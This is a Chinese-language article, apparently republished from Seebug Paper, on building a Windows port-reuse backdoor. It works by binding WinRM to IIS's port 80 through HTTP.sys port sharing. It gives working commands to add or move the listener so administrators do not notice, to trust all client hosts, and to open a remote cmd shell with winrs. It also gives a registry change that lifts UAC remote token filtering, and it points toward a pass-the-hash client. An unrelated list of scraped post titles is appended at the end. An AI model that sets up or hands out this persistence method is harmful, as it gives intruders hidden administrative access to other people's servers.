说到端口复用,大部分人第一反应肯定是想到内核驱动,需要对网络接口进行一些高大上的操作才能实现。但只要合理利用操作系统提供的功能,就能以简单的方式实现这一目标,本文将公布一种基于内置系统服务的端口复用后门方法。

对于不想看原理,只关心如何使用的读者可以直接跳到“0x02. 后门配置”。

0x01. 基本原理介绍

该后门的基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。

WinRM服务

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。

HTTP.sys驱动

HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。

使用netsh http show servicestate命令可以查看所有在HTTP.sys上注册过的url前缀。

实际上,WinRM就是在HTTP.sys上注册了wsman的URL前缀,默认监听端口5985。这点从微软公布的WinRM的架构图也可以看出来。

因此,在安装了IIS的边界Windows服务器上,开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener即可实现端口复用,可以直接通过Web端口登录Windows服务器。

0x02. 后门配置

开启WinRM服务

在Windows 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口,可以省略这一步。

对于Windows 2008来说,需要使用命令来启动WinRM服务,快速配置和启动的命令是winrm quickconfig -q,这条命令运行后会自动添加防火墙例外规则,放行5985端口。

新增80端口Listener

对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener,同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。

使用下面这条命令即可新增一个80端口的listener

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

对于安装Windows 2012及以上版本操作系统的服务器来讲,只需要这一条命令即可实现端口复用。

这种情况下,老的5985端口listener还保留着

修改WinRM端口

在Windows 2008上面如果原本没有开启WinRM服务,那么需要把默认的5985端口修改成web服务端口80,否则管理员上来看到一个5985端口就可能起疑心。

通过下面这条命令即可修改端口为80

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

这种情况下,管理员查看端口也看不到5985开放,只开放80端口。

经过配置之后,WinRM已经在80端口上监听了一个listener,与此同时,IIS的web服务也能完全正常运行。

0x03. 后门连接和使用

本地配置

本地需要连接WinRM服务时,首先也需要配置启动WinRM服务,然后需要设置信任连接的主机,执行以下两条命令即可。

winrm quickconfig -q

winrm set winrm/config/Client @{TrustedHosts="*"}

连接使用

使用winrs命令即可连接远程WinRM服务执行命令,并返回结果

winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami

上述命令会在远程机器上执行whoami命令,获取结果后直接退出。

将whoami命令换成cmd即可获取一个交互式的shell

winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd cmd

UAC问题

WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改后,普通管理员登录后也是高权限。

Hash登录

系统自带的winrs命令登录时需要使用明文账号密码,那很多场景下尤其是windows 2012以后,经常只能抓取到本地用户的hash,无法轻易获得明文密码。因此需要实现一款支持使用NTLM hash登录的客户端,使用python来实现不难。

0x04. 结语

本文给出了一种使用WinRM作为端口复用后门的方法。但限于篇幅,还存在很多细节问题没有涉及,留待读者进行更深层次的研究。另外也在此抛出两个小问题,有兴趣的读者可以思考下:

1、在已有WinRM服务的情况下,对于非80端口的web服务要如何处理;

2、HTTPS连接的配置和使用。

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1004/

linux 端口复用后门,一条命令实现端口复用后门相关推荐

  1. Linux安装Git(一条命令即可)

    Linux安装Git(一条命令即可) yum -y install git

  2. linux最常用的20条命令

    玩过Linux的人都会知道,Linux中的命令的确是非常多,但是玩过Linux的人也从来不会因为Linux的命令如此之多而烦恼,因为我们只需要掌握我们最常用的命令就可以了.当然你也可以在使用时去找一下 ...

  3. MD5值计算方法,推荐使用linux系统计算,一条命令搞定!

    一.MD5是什么? MD5是message-digest algorithm 5(信息-摘要算法)的缩写,被广泛用于加密和解密技术上,它可以说是文件的"数字指纹". 任何一个文件, ...

  4. mysql命令行查看端口占用_linux下常用命令查看端口占用

    在Linux使用过程中,需要了解当前系统开放了哪些端口,并且要查看开放这些端口的具体进程和用户,可以通过netstat命令进行简单查询 netstat命令各个参数说明如下: -t : 指明显示TCP端 ...

  5. 【网站建设】Linux上安装MySQL - 12条命令搞定MySql

    从零开始安装mysql数据库 : 按照该顺序执行 :  a. 查看是否安装有mysql:yum list installed mysql*, 如果有先卸载掉, 然后在进行安装; b. 安装mysql客 ...

  6. linux 一次执行多条命令

    1.mkdir myfile ; chmod -R 777 myfile [root@iZ9488z4qfcZ myfile]# mkdir www ; chmod -R 777 www [root@ ...

  7. linux一次执行多个命令,linux 一次执行多条命令

    1.mkdir myfile ; chmod -R 777 myfile [root@iZ9488z4qfcZ myfile]# mkdir www ; chmod -R 777 www [root@ ...

  8. Linux一条命令修改账号密码

    平时修改linux密码可以使用基本命令: passwd username 然后根据提示输入两次新密码完成 linux同时支持使用一条命令修改账号密码 命令一 : echo <testuser&g ...

  9. Docker建网站 4条命令搞定

    2019独角兽企业重金招聘Python工程师标准>>> 提起云计算,肯定少不了kvm和Docker这两个重量级的角色.没有这两位,就没有云计算.其中,Docker可能更重要. 我不想 ...

最新文章

  1. 英伟达推出全球首个元宇宙平台,豪砸数亿是为什么?
  2. python过滤器 lambada表达式 可变元组字典参数**kwargs
  3. Post Content_Length exceeds the limit
  4. smtplib python教程_python使用smtplib模块发送邮件
  5. How to uninstall git
  6. 布客·ApacheCN 编程/后端/大数据/人工智能学习资源 2021.7
  7. 动态口令 java_java动态口令登录实现过程详解
  8. Qt4_在表中显示数据
  9. iOS 编译百度地图静态库-合二为一
  10. R语言金融波动率建模|基于SGED分布的变参数ARIMA+EARCH动态预测模型的研究
  11. 小福利,带你快速入门sumifs多条件求和函数、设置下拉菜单结合vlookup函数双条件查找数据、excel的切片器(表关联)、数据透视表、数据透视图
  12. C#操作开机自启动(写进注册表)
  13. 转:CRF++总结1
  14. 六行python代码的爱心曲线公式_六行python代码的爱心曲线-Go语言中文社区
  15. 5.Python函数高级
  16. 简单U盘修复工具(SURT).hta
  17. 专业分享:“以数治税”金税四期背景下,企业税务风控与管理的思考
  18. 淘宝商家如何通过淘宝客来打造淘宝爆款?
  19. 直播电商软件开发,实现窗体抖动
  20. 光纤激光打标机在不锈钢上打白色的字如何调参数

热门文章

  1. CSS面试高频题之什么是BFC
  2. CNN推理时opencv图像Mat数组从HWC转换到CHW方法
  3. tp5框架时间范围查询
  4. 斯坦福UE4 + C++课程学习记录 14:UMG-优化血量条
  5. 用户账户控制(无法截图/退出全屏/使用窗口模式)
  6. UE Base64图片格式 的加载显示方式
  7. python找不到对象怎么办_[python,2018-06-29] 37%法则及其拓展解决恋爱问题
  8. 我的五件你也许并不知道的事情
  9. Gradle命令详解
  10. js获取当日前30天全部日期